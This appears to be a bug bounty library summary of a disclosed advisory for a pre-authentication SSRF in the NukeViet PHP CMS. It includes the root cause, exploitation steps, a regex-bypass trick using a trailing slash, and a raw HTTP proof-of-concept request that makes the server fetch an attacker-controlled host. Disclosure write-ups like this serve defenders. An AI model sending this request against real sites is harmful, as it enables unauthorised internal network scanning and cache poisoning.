# NukeViet: Pre-authentication SSRF via X-Forwarded-Host

Unauthenticated attacker spoofs X-Forwarded-Host to make NukeViet's server_info_update() cURL fetch an arbitrary host:port, enabling blind internal port scanning and cache poisoning.

- Payout: Research
- Severity: high
- Program: NukeViet
- Found by: g03m0n
- Disclosed: 2026-07-13
- CVE: CVE-2026-55372
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-4chg-4752-w88r
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-4chg-4752-w88r
- Tags: area:web domain:web impact:internal-access kind:research platform:ghsa sev:high tech:php technique:oob-exfil technique:source-review vuln:host-header vuln:ssrf

**Target:** PHP CMS (includes/ini.php server_info_update cURL sink)
**Root cause:** Server class trusts X-Forwarded-Host/Proto without validating against configured my_domains, and standardizeHost() strips trailing port only via regex `(\:[0-9]+)$`, bypassed by a trailing slash.
**Steps:**
1. Send `POST /index.php` with `X-Forwarded-Proto: http`, `X-Forwarded-Host: <attacker-host>:<port>/`, body `__serverInfoUpdate=1`.
2. Handler runs early in includes/ini.php before auth; tainted host/scheme concatenated into cURL URL `$proto://$host/index.php?response_headers_detect=1`.
3. Trailing slash defeats `(\:[0-9]+)$` port stripping so arbitrary host:port survives.
4. Observe out-of-band DNS/HTTP interaction on collaborator endpoint.
**How found:** Code review of forwarded-header handling in Server.php and the cURL sink in ini.php; noticed the port-stripping regex only matches strings ending in :digits, so appending a slash preserves the port.
**Exploitation:** Blind, HEAD-only request to fixed path; response stored in config_ini cache, not reflected. Attacker gains internal host/port discovery via timing/success and can poison cached server_headers applied to the site.
**Insight:** When a host sanitizer strips ports with an end-anchored regex like `(\:[0-9]+)$`, append a trailing slash to keep the port; also check whether X-Forwarded-* values are validated against configured domains before reaching any URL-building sink.

## Proof of concept (copied exactly from the original report)

**Pre-auth SSRF trigger via spoofed X-Forwarded-Host**

```
POST /index.php HTTP/1.1
Host: <victim>
X-Forwarded-Proto: http
X-Forwarded-Host: <attacker-controlled-host>:<port>/
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

__serverInfoUpdate=1
```

